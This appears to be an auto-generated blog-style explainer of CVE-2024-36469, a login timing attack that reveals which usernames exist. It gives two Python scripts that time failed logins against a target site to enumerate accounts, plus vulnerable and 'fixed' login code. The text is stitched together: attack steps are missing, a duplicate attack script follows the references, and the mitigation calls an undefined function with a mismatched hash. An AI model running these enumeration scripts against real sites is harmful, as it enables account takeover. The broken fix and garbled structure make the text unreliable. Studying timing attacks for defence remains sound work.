CVE-2024-36469 - Timing Attack Reveals Valid Usernames via Login Responses

Security researchers have discovered, documented, and assigned CVE-2024-36469 to a timing attack vulnerability found in many authentication systems. This flaw reveals if a username exists based simply on how long the system takes to respond to a failed login, giving attackers a shortcut to gathering valid usernames before even guessing passwords.

What is CVE-2024-36469?

Authentication systems usually check two things on login: first, whether the username exists, and second, if the password matches. Sometimes, these checks take different amounts of time depending on whether the username actually exists. With CVE-2024-36469, attackers exploit these differences in execution time to find out which usernames are valid.

Why Does This Matter?

If you know a valid username, breaking into accounts gets much easier. Attackers can follow up with password-guessing attacks, phishing, or other targeted hacks. That's why revealing "which usernames exist"—even without giving specific error messages—is a real security risk.

They measure how long it takes to get a response.

3. If the username exists, the system might take longer (maybe it checks both username & password). If the username doesn’t exist, it responds faster.
4. By repeating this process with different usernames and recording timings, attackers can discover which usernames are in use.

Example Pseudocode

import time
import requests

usernames_to_check = ['alice', 'bob', 'carol', 'dave']
login_url = 'https://target-site.com/login';

for username in usernames_to_check:
    data = {'username': username, 'password': 'WrongPassword!'}
    start = time.time()
    response = requests.post(login_url, data=data)
    elapsed = time.time() - start
    print(f'{username}: {elapsed:.4f} seconds')

Result:
Noticeably longer times mean that the username probably exists. Attackers can automate this across millions of names.

Suppose you have a login endpoint where the backend logic looks like this

def login(username, password):
    user = db.find_user(username)
    if not user:
        return 'Invalid credentials', 401
    if not check_password(user, password):
        return 'Invalid credentials', 401
    # continue login

If db.find_user(username) is fast for a non-existent user but password checking and hashing takes longer for a real user, you'll see clear timing differences.

Delay the response or always check the password, even if the user doesn’t exist

import hashlib

FAKE_PASSWORD_HASH = hashlib.sha256('SomeFillerPassword!'.encode()).hexdigest()

def login(username, password):
    user = db.find_user(username)
    if not user:
        # Hash password anyway to simulate real user lookup time
        check_password_hash(FAKE_PASSWORD_HASH, password)
        return 'Invalid credentials', 401
    if not check_password(user, password):
        return 'Invalid credentials', 401
    # continue login

References & Learn More

- CVE-2024-36469 at MITRE
- OWASP: Authentication Cheat Sheet (see "Timing Attack")
- Bishop Fox: Username Enumeration via Timing

Here’s how an attacker might really automate this against a website

import time, requests

url = 'https://target-site.com/login';
usernames = ['user1', 'user2', 'user3']

for u in usernames:
    start = time.time()
    requests.post(url, data={'username': u, 'password': 'randomwrongpass'})
    end = time.time()
    print(u, 'took', end-start, 'seconds')

If you see a pattern of some requests taking notably longer, you know those are likely real usernames.

Fixes & Mitigation

- Always take the same amount of time to respond to logins, regardless of whether the username is valid.

Final Thoughts

This timing attack (CVE-2024-36469) is simple yet powerful. Don’t rely on “Invalid credentials” being vague enough. Fix your authentication logic to resist timing measurements. The internet is watching!

Timeline

Published on: 04/02/2025 07:15:40 UTC
Last modified on: 04/02/2025 14:58:07 UTC